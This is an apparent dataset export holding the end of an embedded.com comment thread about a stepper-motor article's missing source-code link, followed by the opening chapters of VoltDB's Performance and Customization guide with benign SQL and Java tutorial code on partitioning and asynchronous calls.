far less elegant than the one described inthis article.REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Susan.rambo (/User/Susan.rambo) POSTED: NOV 1, 2010 1:40 PM ESTI reposted the Motor.c code in our new source code library. You can find it herehttp://www.eetimes.com/design/embedded/source-code/4210291/Motor-c.(http://www.eetimes.com/design/embedded/source-code/4210291/Motor-c.)(The link in this article is also now up to date.) I'll be updating all the ESD/ESPmagazine source code archive links in the next month to make sure all sourcecode from Embedded Systems Programming/ESD magazine is connected to an article and viceversa. --Susan Rambo Managing editor, ESD magazineREPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Jamesyn (/User/Jamesyn) POSTED: JAN 10, 2014 4:13 PM ESThi miss. your link is not working . i can't download.pls give me another link.thak youREPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Greatfog (/User/Greatfog) POSTED: NOV 1, 2010 12:39 PM ESTMs. Rambo, Managing Editor of Embedded Systems Design, has fixed the link tothe code. Thank you, ma'm!REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Dandumit (/User/Dandumit) POSTED: NOV 1, 2010 8:58 AM ESTGreat Info. I would like also to access the file motor.c but it seems to rejectanonymous login. Maybe someone can help ?REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Tumnao (/User/Tumnao) POSTED: OCT 11, 2010 9:52 AM EDTGreat article! What are the credentials to download the example file (motor.c)?REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)SUNMY (/User/SUNMY) POSTED: OCT 11, 2009 9:49 AM EDTgood job!REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)\\nDEVELOPMENTCENTERSAll Articles(/development)Configurable Systems(/development/configurable-systems)Connectivity(/development/connectivity)Debug & Optimization(/development/debug-and-optimization)MCUs, Processors &SoCs(/development/mcus-processors-and-socs)Operating SystemsESSENTIALS &EDUCATIONProducts (/products/all)News (/news/all)Source Code Library(/education-training/source-codes)Webinars (/education-training/webinars)Courses (/education-training/courses)Tech Papers(/education-training/tech-papers)COMMUNITYInsights (/insights)Forums(http://forums.embedded.com)Events (/events)ARCHIVESEmbedded SystemsProgramming /Embedded SystemsDesign Magazine(/magazines)Newsletters(/archive/Embedded-com-Tech-Focus-Newsletter-Archive)Videos (/videos)Collections(/collections/all)ABOUT USAbout Embedded(/aboutus)Contact Us (/contactus)Newsletters(/newsletters)Advertising(/advertising)Editorial Contributions(/editorial-contributions)Site Map (/site-map)Subscribe to RSS updatesSubscribe to RSS updates or all articles (/rss/all)category ▼(/development/operating-systems)Power Optimization(/development/power-optimization)ProgrammingLanguages & Tools(/development/programming-languages-and-tools)Prototyping &Development(/development/prototyping-and-development)Real-time &Performance(/development/real-time-and-performance)Real-world Applications(/development/real-world-applications)Safety & Security(/development/safety-and-security)System Integration(/development/system-integration)GLOBAL NETWORK EE Times Asia (http://www.eetasia.com/) EE Times China (http://www.eet-china.com/) EE Times Europe (http://www.electronics-eetimes.com/) EE Times India(http://www.eetindia.co.in/) EE Times Japan (http://eetimes.jp/) EE Times Korea (http://www.eetkorea.com/) EE Times Taiwan (http://www.eettaiwan.com/) EDN Asia(http://www.ednasia.com/) EDN China (http://www.ednchina.com/) EDN Japan (http://ednjapan.com/) TechOnline India (http://www.techonlineindia.com/) ESC Brazil(http://www.escbrazil.com.br/en/) ESC India (http://www.esc-india.com/)\\n(http://ubmcanon.com/)UBM Canon Electronics Engineering CommunitiesEE Times (http://www.eetimes.com/) | EDN (http://www.edn.com/) | EBN (http://www.ebnonline.com/) | DataSheets.com (http://www.datasheets.com/) | Embedded (http://www.embedded.com/) | TechOnline (http://www.techonline.com/) | Design News (http://www.designnews.com/) | DesignCon (http://www.designcon.com/) | ESC (http://www.embeddedconf.com/)Working With Us: About (http://ubmcanon.com/) | Contact Us (http://ubmcanon.com/design-and-manufacturing/) | Media Kits (http://ubmcanon.com/design-and-manufacturing/)Terms of Service (http://ubmcanon.com/terms-of-service/) | Privacy Statement (http://ubmcanon.com/privacy-policy/) | Copyright © 2015 UBM Canon All Rights Reserved (http://legal.us.ubm.com/copyright-notice/)\"\n }\n]"}}},{"rowIdx":39485,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"App Definition and Development\",\n \"file_name\": \"PerfGuide.pdf\",\n \"project_name\": \"VoltDB\",\n \"subcategory\": \"Database\"\n}"},"content":{"kind":"list like","value":[{"data":"Guide to Performance and\nCustomizaon\nAbstract\nThis book explains how to optimize application performance and customize database fea-\ntures using VoltDB.\nV11.3Guide to Performance and Customization\nV11.3\nCopyright © 2008-2022 Volt Active Data, Inc.\nThe text and illustrations in this document are licensed under the terms of the GNU Affero General Public License Version 3 as published by the\nFree Software Foundation. See the GNU Affero General Public License ( http://www.gnu.org/licenses/ ) for more details.\nMany of the core VoltDB database features described herein are part of the VoltDB Community Edition, which is licensed under the GNU Affero\nPublic License 3 as published by the Free Software Foundation. Other features are specific to the VoltDB Enterprise Edition and VoltDB Pro, which\nare distributed by Volt Active Data, Inc. under a commercial license.\nThe VoltDB client libraries, for accessing VoltDB databases programmatically, are licensed separately under the MIT license.\nYour rights to access and use VoltDB features described herein are defined by the license you received when you acquired the software.\nVoltDB is a trademark of Volt Active Data, Inc.\nVoltDB software is protected by U.S. Patent Nos. 9,600,514, 9,639,571, 10,067,999, 10,176,240, and 10,268,707. Other patents pending.\nThis document was generated on March 07, 2022.Table of Contents\nPreface ............................................................................................................................. ix\n1. Organization of this Manual ..................................................................................... ix\n2. Other Resources ..................................................................................................... ix\n1. Introduction .................................................................................................................... 1\n1.1. What Affects Performance? .................................................................................... 1\n1.2. How to Use This Book .......................................................................................... 1\n2. Hello, World! Revisited .................................................................................................... 3\n2.1. Optimizing your Application for VoltDB .................................................................. 3\n2.2. Applying Hello World to a Practical Problem ............................................................ 3\n2.3. Partitioned vs. Replicated Tables ............................................................................. 4\n2.3.1. Defining the Partitioning Column .................................................................. 4\n2.3.2. Creating the Stored Procedures ..................................................................... 5\n2.4. Using Asynchronous Stored Procedure Calls .............................................................. 6\n2.4.1. Understanding Asynchronous Programming .................................................... 7\n2.4.2. The Callback Procedure ............................................................................... 8\n2.4.3. Making an Asynchronous Procedure Call ........................................................ 9\n2.5. Connecting to all Servers ....................................................................................... 9\n2.6. Putting it All Together ......................................................................................... 10\n2.7. Next Steps ......................................................................................................... 12\n3. Understanding VoltDB Execution Plans ............................................................................. 13\n3.1. How VoltDB Selects Execution Plans for Individual SQL Statements ............................ 13\n3.2. Understanding VoltDB Execution Plans .................................................................. 13\n3.3. Reading the Execution Plan and Optimizing Your SQL Statements ............................... 14\n3.3.1. Evaluating the Use of Indexes ..................................................................... 15\n3.3.2. Evaluating the Table Order for Joins ............................................................ 17\n4. Using Indexes Effectively ............................................................................................... 19\n4.1. Basic Principles for Effective Indexing .................................................................... 19\n4.2. Defining Indexes ................................................................................................. 20\n4.3. The Goals for Effective Indexing ........................................................................... 20\n4.4. How Indexes Work .............................................................................................. 21\n4.5. Summary ........................................................................................................... 22\n5. A Modern Java Client Programming Interface (API) for VoltDB ............................................ 24\n5.1. Configuring the Client .......................................................................................... 24\n5.2. Connecting to the Database ................................................................................... 25\n5.3. Calling Procedures ............................................................................................... 25\n5.3.1. Handling Backpressure .............................................................................. 25\n5.3.2. Handling Request Timeouts ........................................................................ 26\n5.3.3. Defining Options on a Per-Call Basis ........................................................... 27\n6. Prioritizing Transactions .................................................................................................. 28\n6.1. How Prioritizing Transactions Works ...................................................................... 28\n6.2. Enabling Prioritized Transactions ........................................................................... 30\n6.3. Prioritizing Transactions at Runtime ....................................................................... 30\n6.4. Prioritizing Other Types of Transactions .................................................................. 31\n7. Creating Flexible Schemas With JSON .............................................................................. 33\n7.1. Using JSON Data Structures as VoltDB Content ....................................................... 33\n7.2. Querying JSON Data ........................................................................................... 34\n7.3. Updating JSON Data ........................................................................................... 35\n7.4. Indexing JSON Fields .......................................................................................... 35\n7.5. Summary: Using JSON in VoltDB ......................................................................... 36\n8. Creating Geospatial Applications ...................................................................................... 37\n8.1. The Geospatial Datatypes ..................................................................................... 37\niiiGuide to Performance\nand Customization\n8.1.1. The GEOGRAPHY_POINT Datatype ........................................................... 37\n8.1.2. The GEOGRAPHY Datatype ...................................................................... 37\n8.1.3. Sizing GEOGRAPHY Columns ................................................................... 38\n8.1.4. How Geospatial Values are Interpreted ......................................................... 39\n8.2. Entering Geospatial Data ...................................................................................... 39\n8.3. Working With Geospatial Data .............................................................................. 40\n8.3.1. Working With Locations ............................................................................ 41\n8.3.2. Working With Regions .............................................................................. 42\n9. Creating Custom Importers, Exporters, and Formatters ......................................................... 44\n9.1. Writing a Custom Exporter ................................................................................... 44\n9.1.1. The Structure and Workflow of the Export Client ........................................... 44\n9.1.2. How to Use Custom Properties to Configure the Client .................................... 46\n9.1.3. How to Compile and Install the Client .......................................................... 46\n9.1.4. How to Configure the Export Client ............................................................. 47\n9.2. Writing a Custom Importer ................................................................................... 47\n9.2.1. Designing and Coding a Custom Importer ..................................................... 48\n9.2.2. Packaging and Installing a Custom Importer .................................................. 49\n9.2.3. Configuring and Running a Custom Importer ................................................. 50\n9.3. Writing a Custom Formatter .................................................................................. 51\n9.3.1. The Structure of the Custom Formatter ......................................................... 51\n9.3.2. Compiling and Packaging Custom Formatter Bundles ...................................... 53\n9.3.3. Installing and Invoking Custom Formatters .................................................... 54\n9.3.4. Using Custom Formatters With the kafkaloader Utility .................................... 55\n10. Creating Custom SQL Functions ..................................................................................... 57\n10.1. Writing a User-Defined Scalar Function ................................................................ 57\n10.2. Writing a User-Defined Aggregate Function ........................................................... 58\n10.3. Loading User-Defined Functions into the Database .................................................. 60\n10.4. Declaring a User-Defined Function ....................................................................... 60\n10.5. Invoking User-Defined Functions in SQL Statements ............................................... 61\n11. Creating Custom Tasks ................................................................................................. 62\n11.1. Overview of How Custom Tasks Work ................................................................. 62\n11.2. Modifying the Procedure Call and Arguments ......................................................... 63\n11.2.1. Designing a Java Class That Implements ActionGenerator .............................. 63\n11.2.2. Compiling and Loading the Class into VoltDB ............................................. 66\n11.2.3. Declaring the Task .................................................................................. 66\n11.3. Modifying the Interval Between Invocations ........................................................... 66\n11.3.1. Designing a Java Class That Implements IntervalGenerator ............................. 67\n11.3.2. Compiling and Loading the Class into VoltDB ............................................. 69\n11.3.3. Declaring the Task .................................................................................. 69\n11.4. Modifying Both the Procedure and Interval ............................................................ 69\n11.4.1. Designing a Java Class That Implements ActionScheduler .............................. 70\n11.4.2. Compiling and Loading the Class into VoltDB ............................................. 72\n11.4.3. Declaring the Task .................................................................................. 73\n12. Understanding VoltDB Memory Usage ............................................................................ 74\n12.1. How VoltDB Uses Memory ................................................................................ 74\n12.2. Actions that Impact Memory Usage ...................................................................... 75\n12.3. How VoltDB Manages Memory ........................................................................... 77\n12.4. How Memory is Allocated and Deallocated ............................................................ 78\n12.5. Controlling How Memory is Allocated .................................................................. 78\n12.6. Understanding Memory Usage for Specific Applications ........................................... 79\n13. Managing Time ........................................................................................................... 81\n13.1. The Importance of Time ..................................................................................... 81\n13.2. Using NTP to Manage Time ................................................................................ 81\n13.2.1. Basic Configuration ................................................................................. 81\nivGuide to Performance\nand Customization\n13.2.2. Troubleshooting Issues with Time .............................................................. 82\n13.2.3. Correcting Common Problems with Time .................................................... 82\n13.2.4. Example NTP Configuration ..................................................................... 83\n13.3. Configuring NTP in a Hosted, Virtual, or Cloud Environment .................................... 84\n13.3.1. Considerations for Hosted Environments ..................................................... 85\n13.3.2. Considerations for Virtual and Cloud Environments ....................................... 85\nvList of Figures\n2.1. Synchronous Procedure Calls .......................................................................................... 7\n2.2. Asynchronous Procedure Calls ........................................................................................ 7\n9.1. Structure of the Custom Export Class ............................................................................. 45\n12.1. The Three Types of Memory in VoltDB ........................................................................ 75\n12.2. Details of Memory Usage During and After an SQL Statement .......................................... 76\n12.3. Controlling the Java Heap Size .................................................................................... 79\nviList of Tables\n9.1. Structure of the Custom Importer ................................................................................... 47\nviiList of Examples\n11.1. Custom Task Implementing ActionGenerator .................................................................. 65\n11.2. Custom Task Implementing IntervalGenerator ................................................................ 68\n11.3. Custom Task Implementing ActionScheduler .................................................................. 71\n13.1. Custom NTP Configuration File ................................................................................... 84\nviiiPreface\nThis book provides details on using VoltDB to optimize the performance of your database application\nas well as customize selective features of the VoltDB product. Other books — specifically the VoltDB\nTutorial and Using VoltDB — describe the basic features of VoltDB and how to use them. However, cre-\nating an optimized application requires using those features in the right combination and in the appropriate\ncontext. What features you use and how depends on your specific application needs. This manual provides\nadvice on those decisions.\n1. Organization of this Manual\nThis book is divided into 13 chapters:\n•Chapter 1, Introduction\n•Chapter 2, Hello, World! Revisited\n•Chapter 3, Understanding VoltDB Execution Plans\n•Chapter 4, Using Indexes Effectively\n•Chapter 5, A Modern Java Client Programming Interface (API) for VoltDB\n•Chapter 6, Prioritizing Transactions\n•Chapter 7, Creating Flexible Schemas With JSON\n•Chapter 8, Creating Geospatial Applications\n•Chapter 9, Creating Custom Importers, Exporters, and Formatters\n•Chapter 10, Creating Custom SQL Functions\n•Chapter 11, Creating Custom Tasks\n•Chapter 12, Understanding VoltDB Memory Usage\n•Chapter 13, Managing Time\n2. Other Resources\nThis book provides recommendations for optimizing VoltDB applications and customizing database fea-\ntures. It assumes you are already familiar with VoltDB and its features. If you are new to VoltDB, we\nsuggest you read the following books first:\n•VoltDB Tutorial provides a quick introduction to the product and is recommended for new users.\n•VoltDB Planning Guide provides guidance for evaluating and sizing VoltDB implementations.\n•Using VoltDB provides a complete reference to the features and functions of the VoltDB product.\n•VoltDB Administrator's Guide provides information for system operators on setting up and managing\nVoltDB databases and the clusters that host them.\nThese books and more resources are available on the web from http://docs.voltdb.com/ .\nixChapter 1. Introducon\nVoltDB is a best-in-class database designed specifically for high volume transactional applications. Other\nbooks describe the individual features and functions of VoltDB. However, getting the most out of any\ntechnology is not just a matter of features; it is using the features effectively, in the right combination,\nand in the right context.\nThe goal of this book is to explain how to achieve maximum performance using VoltDB. Performance is\naffected by many different factors, including:\n•The design of your database and its stored procedures\n•The client applications\n•The configuration of the servers that run the database\n•The network that connects the servers\nUnderstanding the impact of each factor and the relationship between them can help you both design better\nsolutions and detect and correct problems in a running system. However, first you must understand the\nproduct itself. If you are new to VoltDB, it is strongly recommended that you read VoltDB Tutorial and\nUsing VoltDB before reading this book.\n1.1. What Affects Performance?\nThere is no single factor that drives performance or even a single definition for what constitutes \"good\"\nperformance. VoltDB is designed to provide exceptional throughput and much of this book is dedicated\nto an explanation of how you can maximize throughput in your application design and hardware config-\nuration.\nHowever, another aspect of performance that is equally important to database applications is durability:\nresilience against — and ability to recover from — hardware failures and other error conditions. VoltDB\nhas features that enhance database durability. However, these features have their own requirements, par-\nticularly on system sizing and configuration.\nAll applications are different. There is no single combination of application design, hardware configura-\ntion, or database features that can satisfy them all. Your specific requirements drive the trade offs that\nneed to be made concerning how you configure the database system as a whole. The goal of this book is\nto provide you with the facts you need to make an informed decision about those trade offs.\n1.2. How to Use This Book\nThis book is divided into ten more chapters:\n•The beginning of the book (chapters 2 and 4) explains how to design your database schema, stored\nprocedures, and client applications for maximum performance.\n•Chapters 5 and 6 explain how to use the latest Java Client API to create a modern, efficient Java appli-\ncation using VoltDB and how to use the new client library to prioritize your transactions.\n•Chapter 7 explains how to accommodate flexibility in the schema design through the use of JSON\ncolumns and indexes.\n1Introduction\n•Chapter 8 explains how to use VoltDB's geospatial capabilities for applications that need to combine\nstandard database content with location-specific information such geographic points and shapes.\n•Chapter 9 explains how to create custom connectors for import and export, as well as formatters to be\nused by importers.\n•Chapters 10 explains how to define your own scalar and aggregate functions for use in SQL statements.\n•Chapters 11 explains how to implement custom tasks that execute stored procedures on a specified\nschedule.\n•Chapter 12 explains in detail how memory is used by the VoltDB server process.\n•Chapter 13 provides guidelines for configuring time services when running a VoltDB cluster.\n2Chapter 2. Hello, World! Revisited\nThe VoltDB software kit includes a Hello World example in the directory /doc/tutorials/hel-\nloworld that shows you how to create a simple VoltDB application, including a schema, stored proce-\ndures, and a client application. However, storing five records and doing a single SELECT is not a terribly\ninteresting database application.\nVoltDB is designed to process hundreds of thousands of transactions a second, providing unparalleled\nthroughput. Hello World does little to demonstrate that. But perhaps we can change it a bit to better em-\nulate real world situations and, in the process, learn how to write applications that maximize the power\nof VoltDB.\n2.1. Optimizing your Application for VoltDB\nVoltDB can be used generically like any other database to insert, select, and update records. But VoltDB\nalso specializes in:\n•Scalability\n•Throughput performance\n•Durability\nDurability is built into the VoltDB database server software through several different functions, including\nsnapshots, K-Safety, and command logging, features that are described in more detail in the Using VoltDB\nmanual. Scalability and throughput are related to server configuration (e.g. number of servers, memory\ncapacity, etc.). However, there are several things that can be done in the design of the database and the\nclient application to maximize the throughput on any cluster. In particular, this update to the Hello World\ntutorial focuses on designing your application to take advantage of:\n•Partitioned and replicated tables\n•Asynchronous stored procedure calls\n•Client connections to all nodes in the database cluster\n2.2. Applying Hello World to a Practical Problem\nThe problem with Hello World is that it doesn't match any real problem, and certainly not one that VoltDB\nis designed to solve. However, it is not too hard to think of a practical problem where saying hello could\nbe useful.\nLet's assume we run a system (a website, for example) where users register and log in to use services. We\nwant to acknowledge when a user logs in by saying hello. Let's further assume that our system is global\nin nature. It would be nice if we could say hello in the user's native language.\nTo support our new user sign in process, we need to store the different ways of saying hello in each\nlanguage and we need to record the native language of the user. Then, when they sign in, we can retrieve\ntheir name and the appropriate word for hello.\nThis means we need two tables, one for the word \"hello\" in different languages and one for the users. We\ncan reuse the HELLOWORLD table from our original application for the first table. But we need to add a\n3Hello, World! Revisited\ntable for user data, including a unique identifier, the user's name, and their language. Often, the best and\neasiest unique identifier for an online account is the user's email address. So that is what we will use. Our\nschema now looks like this:\nCREATE TABLE HELLOWORLD (\n HELLO VARCHAR(15),\n WORLD VARCHAR(15),\n DIALECT VARCHAR(15) NOT NULL,\n PRIMARY KEY (DIALECT)\n);\nCREATE TABLE USERACCOUNT (\n EMAIL VARCHAR(128) UNIQUE NOT NULL,\n FIRSTNAME VARCHAR(15),\n LASTNAME VARCHAR(15),\n LASTLOGIN TIMESTAMP,\n DIALECT VARCHAR(15) NOT NULL,\n PRIMARY KEY (EMAIL)\n);\nOh, by the way, now that you know how to write a basic VoltDB application, you don't need to type in\nthe sample code yourself anymore. You can concentrate on understanding the nuances that make VoltDB\napplications exceptional. The complete sources for the updated Hello World example are available in the\ndoc/tutorials/helloworldrevisited subfolder when you install the VoltDB software.\n2.3. Partitioned vs. Replicated Tables\nIn the original Hello World example, we partitioned the HELLOWORLD table on dialect to demon-\nstrate partitioning, which is a key concept for VoltDB. However, there are only so many languages in\nthe world, and the words for \"hello\" and \"world\" are not likely to change frequently. In other words, the\nHELLOWORLD table is both small and primarily read-only.\nNot all tables need to be partitioned. If a table is small and updated infrequently, it can be replicated .\nCopies of a replicated table are stored on every server. This means that the tables can only be updated\nwith a multi-partition procedure (which is why you shouldn't replicate write-intensive tables). However,\nreplicated tables can be read from any single-partitioned procedure since there is a copy available to every\npartition.\nHELLOWORLD is an ideal candidate for replication, so we will replicate it in this iteration of the Hello\nWorld application.\nUSERACCOUNT, on the other hand, is write-intensive. The table is updated every time a user signs in\nand the record count increases as new users register with the system. Therefore, it is important that we\npartition this table.\n2.3.1. Defining the Partitioning Column\nThe partitioning column needs to support the key access methods for the table. In the case of registered\nusers, the table is accessed via the user's unique ID, their email address, when the user signs in. So we will\ndefine the EMAIL column as the partitioning column for the table.\nThe choice of partitioning column is defined in the database schema. If a table is not listed as being parti-\ntioned, it becomes a replicated table by default. So for the updated Hello World example, you can remove\n4Hello, World! Revisited\nthe PARTITION TABLE statement for the HELLOWORLD table and add one for USERACCOUNT.\nThe updated schema contains the following PARTITION TABLE statement:\nPARTITION TABLE USERACCOUNT ON COLUMN EMAIL;\n2.3.2. Creating the Stored Procedures\nFor the sake of demonstration, we only need three stored procedures for our rewrite of Hello World:\n•Insert Language — Loads the HELLOWORLD table, just as in the original Hello World tutorial.\n•Register User — Creates a new USERACCOUNT record.\n•Sign In — Performs the bulk of the work, looking up the user, recording their sign in, and looking up\nthe correct word for saying hello.\n2.3.2.1. Loading the Replicated Table\nTo load the HELLOWORLD table, we can reuse the Insert stored procedure from our original Hello World\nexample. The only change we need to make is, because HELLOWORLD is now a replicated table, remove\nthe PARTITION ON clause from the CREATE PROCEDURE statement that defines the Insert procedure\nin the schema DDL.\n2.3.2.2. Registering New Users\nTo add a new user to the system, the RegisterUser stored procedure needs to add the user's name, language,\nand their email address as the unique identifier for the USERACCOUNT table.\nCreating a new record can be done with a single INSERT statement. In this way, the RegisterUser proce-\ndure is very similar to the Insert procedure for the HELLOWORLD table. The RegisterUser procedure\nlooks like this:\nCREATE PROCEDURE RegisterUser\n AS INSERT INTO USERACCOUNT \n (Email, Firstname, Lastname, Dialect)\n VALUES (?,?,?,?);\nThe difference is that RegisterUser can and should be single-partitioned so it does not unnecessarily tie\nup multiple partitions. Since the table is partitioned on the EMAIL column, the CREATE PROCEDURE\nstatement should include a PARTITION ON clause like so:\nCREATE PROCEDURE RegisterUser\n PARTITION ON TABLE Useraccount COLUMN Email\n AS INSERT INTO USERACCOUNT \n (Email, Firstname, Lastname, Dialect)\n VALUES (?,?,?,?);\n2.3.2.3. Signing In\nFinally, we need a procedure to sign in the user and retrieve the word for \"hello\" in their native language.\nThe key goal for this procedure, since it will be invoked more frequently than any other, is to be performant.\nTo ensure the highest throughput, the procedure needs to be single-partitioned.\n5Hello, World! Revisited\nThe user provides their email address as the unique ID when they log in, so we can make the procedure\nsingle-partitioned, specifying the email address as the partitioning value. Within the procedure itself we\nperform two actions:\n•Join the USERACCOUNT and HELLOWORLD tables based on the Dialect column to retrieve both\nthe user's name and the appropriate word for \"hello\"\n•Update the user's record with the latest login timestamp.\nBecause this stored procedure uses two queries, we can write the stored procedure logic as a Java class.\n(See Using VoltDB for details on writing Java stored procedures.) We could write custom code to check the\nreturn values from the join of the two tables to ensure that an appropriate user record was found. However,\nVoltDB provides predefined expectations for many common query conditions. We can take advantage\nof one of these expectations, EXPECTS_ONE_ROW, to verify that we get the results we want. If the\nfirst query, getuser, does not return one row (for example, if no user record is found), VoltDB aborts the\nprocedure and notifies the calling program that a rollback has occurred.\nExpectations provide a way to simplify and standardize error handling in your stored procedures. See the\nchapter on simplifying application coding in the Using VoltDB manual for more information.\nThe resulting SignIn procedure is as follows:\nimport org.voltdb.*;\npublic class SignIn extends VoltProcedure {\n public final SQLStmt getuser = new SQLStmt(\n \"SELECT H.HELLO, U.FIRSTNAME \" +\n \"FROM USERACCOUNT AS U, HELLOWORLD AS H \" +\n \"WHERE U.EMAIL = ? AND U.DIALECT = H.DIALECT;\"\n );\n public final SQLStmt updatesignin = new SQLStmt(\n \"UPDATE USERACCOUNT SET lastlogin=? \" +\n \"WHERE EMAIL = ?;\"\n );\n public VoltTable[] run( String id, long signintime)\n throws VoltAbortException {\n voltQueueSQL( getuser, EXPECT_ONE_ROW, id );\n voltQueueSQL( updatesignin, signintime, id );\n return voltExecuteSQL();\n }\n}\nWe also want to declare the procedure and define how it is partitioned in the schema DDL. To do that,\nwe add the following statement to our schema file:\nCREATE PROCEDURE \n PARTITION ON TABLE Useraccount COLUMN Email\n FROM CLASS SignIn;\n2.4. Using Asynchronous Stored Procedure Calls\nNow we are ready to write the client application. There are two key aspects to taking full advantage of\nVoltDB in your client applications. One is make connections to all nodes on the cluster, which we will\ndiscuss shortly. The other is to use asynchronous stored procedure calls.\n6Hello, World! Revisited\nYou can call VoltDB stored procedures either synchronously or asynchronously. When you call a stored\nprocedure synchronously, your client application waits for the call to be processed before continuing. If\nyou call a procedure asynchronously, your application continues processing once the call has been initiated.\nOnce the procedure is complete, your application is notified through a callback procedure.\n2.4.1. Understanding Asynchronous Programming\nSynchronous calls are easy to understand because all processing is linear; your application waits for the\nquery results. However, after VoltDB processes a transaction — between when VoltDB sends back the\nresults, your application handles the results, initiates a new procedure call, and the call reaches the VoltDB\nserver — the VoltDB database has no work to do (assuming there is only one client application). In this\nsituation whether the stored procedures are single- or multi-partitioned doesn't matter, since you are only\never asking the cluster to process one procedure at a time.\nAs shown in Figure 2.1, “Synchronous Procedure Calls” , more time can be spent in the round trip between\ntransactions (shown in yellow) than in processing the stored procedures themselves.\nFigure 2.1. Synchronous Procedure Calls\nWhat you would like to do is queue up as much work (i.e. transactions) as possible so the database always\nhas work to do as soon as each transaction is complete. This is what asynchronous stored procedure calls do.\nAs soon as an asynchronous call is initiated, your application continues processing, including making\nadditional asynchronous calls. These calls are queued up on the servers and processed in the order they\nare received. Once a stored procedure is processed, the results are returned to the calling application and\nthe next queued transaction started. As Figure 2.2, “Asynchronous Procedure Calls” shows, the database\ndoes not need to wait for the next procedure request, it simply takes the next entry off the queue as soon\nas the current procedure is complete.\nFigure 2.2. Asynchronous Procedure Calls\n7Hello, World! Revisited\n2.4.2. The Callback Procedure\nFor asynchronous procedures calls, you must provide a callback procedure that is invoked when the re-\nquested transaction is complete. Your callback procedure notifies the client application that the call is\ncomplete and performs the same logic your client application normally performs following a procedure\ncall: interpreting the results of the procedure (if any) and making appropriate changes to client application\nvariables.\nFor our new Hello World example, when the SignIn procedure completes, we want to display the return\nvalues in a welcome message to the user. So our callback procedure might look like this:\n static class SignInCallback implements ProcedureCallback { \n @Override\n public void clientCallback(ClientResponse response) { \n // Make sure the procedure succeeded.\n if (response.getStatus() != ClientResponse.SUCCESS) {\n System.err.println(response.getStatusString());\n return;\n }\n VoltTable results[] = response.getResults(); \n VoltTable recordset = results[0];\n System.out.printf(\"%s, %s!\\n\",\n recordset.fetchRow(0).getString(\"Hello\"),\n recordset.fetchRow(0).getString(\"Firstname\") );\n }\n }\nThe following notes describe the individual components of the callback procedure.\nYou define the callback procedure as a class that implements (and overrides) the VoltDB Procedure-\nCallback class.\nWhereas a synchronous procedure call returns the ClientResponse as a return value, an asynchronous\ncall returns the same ClientResponse object as a parameter to the callback procedure.\nIn the body of the callback, first we check to make sure the procedure completed successfully. (If\nthe procedure fails for any reason, for example if a SQL query generates a constraint violation, the\nClientResponse contains information about the failure.) In this case we are only looking for success.\nOnce we know the procedure succeeded, we perform the same functions we would for a synchronous\ncall. In this case, we retrieve the appropriate words from the response and use them to construct and\ndisplay a greeting to the user.\nSince we also want to call the RegisterUser procedure asynchronously, we need to create a callback for that\nprocedure as well. In the case of registering the user, we do not need to provide feedback, so the callback\nprocedure is simplified. All that is needed in the body of the callback is to detect and report any errors that\nmight occur. The RegisterCallback looks like this:\n8Hello, World! Revisited\n static class RegisterCallback implements ProcedureCallback {\n @Override\n public void clientCallback(ClientResponse response) {\n // Make sure the procedure succeeded. If not\n // (for example, account already exists), \n // report the error.\n if (response.getStatus() != ClientResponse.SUCCESS) {\n System.err.println(response.getStatusString());\n }\n }\n }\n2.4.3. Making an Asynchronous Procedure Call\nOnce you define a callback, you are ready to initiate the procedure call. You make asynchronous procedure\ncalls in the same way you make synchronous procedure calls. The only differences are that you specify\nthe callback procedure as the first argument to the callProcedure method and you do not need to make an\nassignment to a client response, since the response is sent as a parameter to the callback procedure.\nThe following example illustrates both a synchronous and an asynchronous call to the SignIn procedure\nwe defined earlier:\n // Synchronous procedure call\nClientResponse response = myApp.callProcedure(\"SignIn\",\n email, currenttime);\n // Asynchronous procedure call\nmyApp.callProcedure(new SignInCallback(), \"SignIn\",\n email, currenttime);\nIf you do not need to verify the results of a transaction, you do not even need to create a unique callback\nprocedure. Just as you can make a synchronous procedure call and not assign the results to a local object if\nthey are not needed, you can make an asynchronous procedure call using the default callback procedure,\nwhich does no special processing. For example, the following code calls the Insert procedure to add a\nHELLOWORLD record using the default callback:\nmyApp.callProcedure(new ProcedureCallback(), \"Insert\",\n \"English\", \"Hello\", \"World\");\n2.5. Connecting to all Servers\nThe final step, once you have optimized the partitioning and the procedure invocations, is to maximize the\nbandwidth between your client application and the cluster. You can create connections to any of the servers\nin the cluster and that server will coordinate the processing of your transactions with the other nodes.\nEach node in the cluster has its own queue of pending transactions. That node is responsible for:\n•Receiving the transaction request from the client and returning the results upon completion\n•Routing the transaction to the appropriate partition, or initiator, based on the transaction's characteristics.\nThere is one 